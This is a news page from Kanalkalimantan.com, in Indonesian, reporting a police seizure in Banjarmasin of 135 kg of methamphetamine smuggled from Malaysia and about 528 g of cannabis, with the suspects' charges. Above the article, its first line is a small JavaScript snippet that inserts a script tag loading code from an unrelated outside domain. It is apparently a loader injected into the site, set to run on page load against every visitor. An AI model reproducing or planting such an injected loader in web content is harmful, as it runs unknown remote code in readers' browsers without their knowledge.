(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

135 Kg Sabu Jaringan Internasional Berhasil Diamankan di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Narkoba Polresta Banjarmasin berhasil menangkap dan mengungkap peredaran kasus narkotika jaringan internasional dengan mengamankan sabu seberat 135,02 kg dari 3 tersangka. Selain itu, juga turut disita ganja seberat 528, 67 gram dari 1 tersangka.

Tangkapan tersebut merupakan hasil pengembangan kasus narkotika dalam kemasan teh sebelumnya di Kalimantan Selatan (Kalsel).

Kapolresta Banjarmasin, Kombes Pol Rachmat Hendrawan mengatakan, peredaran barang haram tersebut berasal dari luar Kalimantan Selatan (Kalsel), Yang dibawa oleh kurir menuju Kota Banjarmasin.
Bahkan menurutnya peredaran sabu-sabu ini termasuk jaringan Internasional yang berasal dari Malaysia.

“Barang haram yang dibungkus kemasan teh Cina dan di masukan ke karung beras ini berasal dari Malaysia yang dibawa melalui jalur Kalimantan Timur (Kaltim), yang kemudian akan diedarkan di kawasan Kalimantan Selatan (Kalsel) dan Kalimantan Tengah (Kalteng),” ujar Kombes Rachmat.

 

 

Dari tangkapan tersebut, polisi berhasil mengamankan tersangka berinisial AAM, BAH dan ES, beserta barang bukti sabu sebanyak 130 paket, 1 buah mobil dan motor yang digunakan untuk membawa barang haram tersebut.

Baca juga: Pria Ditemukan Tewas Penuh Luka di Jalan Hauling Batu Bara di Tapin

Tidak hanya itu, Satreskrim Narkoba Polresta Banjarmasin juga berhasil mengungkap peredaran narkotika golongan 1 jenis ganja.

Kapolresta mengungkapkan, pelaku berinisial MY yang mengedarkan ganja yang berasal dari Medan, dan modusnya dikirimkan melalui jasa kirim penerbangan.

“Barang bukti disita itu 35 paket ganja itu sebesar 528,67 gram dan timbangan juga,” beber Kapolres.

Dari hasil tangkapan tersebut pihaknya telah menyelamatkan sebanyak 25 juta jiwa lebih serta total uang kurang lebih sebersar Rp 67 miliar.

Baca juga: ULM Umumkan Kelulusan SBMPTN, Ini Cara Cek dan Proses Daftar Ulang Calon Mahasiswa

Atas kasus ini, tersangka pengedar narkotika jenis sabu, dijerat pasal 112 ayat 2 dan pasa 132 ayat 1 UU RI nomor 35 Tahun 2009. Sedangkan pelaku peredaran ganja dijerat pasal 114 ayat 1 UU RI nomor 35 Tahun 2009 dan 111 ayat 1 UU RI nomor 35 Tahun 2009.

“Ancaman hukumannya seumur hidup maksimal hukuman mati karena di atas 40 kg,” pungkas Kapolres. (Kanalkalimantan.com/tius)

Reporter: tius
Editor: cell


Al Ghifari

Recent Posts

Empat DPC Ikadin di Kalsel 2023-2026 Dilantik

KANALKALIMANTAN.COM, BANJARMASIN - Ketua Umum Dewan Pimpinan Pusat (DPP) Ikatan Advokat Indonesia (Ikadin), Dr Adardam… Read More

4 jam ago

Andoko Abdi Lamar Partai Sendiri, Putusan Pasangan Ada di DPP

KANALKALIMANTAN.COM, BANJARBARU - Satu kader Partai Demokrat Andoko Abdi menyerahkan berkas pencalonan Pemilihan Wali Kota… Read More

15 jam ago

Bawaslu HSU Melantik 30 Orang Anggota Panwascam

KANALKALIMANTAN.COM, AMUNTAI - Ketua Badan Pengawas Pemilu (Bawaslu) Hulu Sungai Utara (HSU) Marfa'i melantik dan… Read More

16 jam ago

15 Anggota Panwascam Dilantik, Bawaslu Banjarbaru langsung Berikan Bimtek Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilu (Bawaslu) Kota Banjarbaru resmi melantik 15 anggota Panitia Pengawas… Read More

18 jam ago

Pangkalan LPG Diminta Tak Bermain Harga, Polres Banjarmasin Bentuk Tim Khusus

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Kriminal (Satreskrim) Polresta Banjarmasin membentuk tim khusus untuk mengatasi permasalaha… Read More

19 jam ago

Langsung Pakai Ihram, Kloter 10 Asal HSU-Banjar-Banjarmasin Terbang ke Tanah Suci

KANALKALIMANTAN.COM, BANJARBARU - Jemaah Haji Kabupaten Hulu Sungai Utara (HSU) yang tergabung dalam Kelompok Terbang… Read More

1 hari ago

This website uses cookies.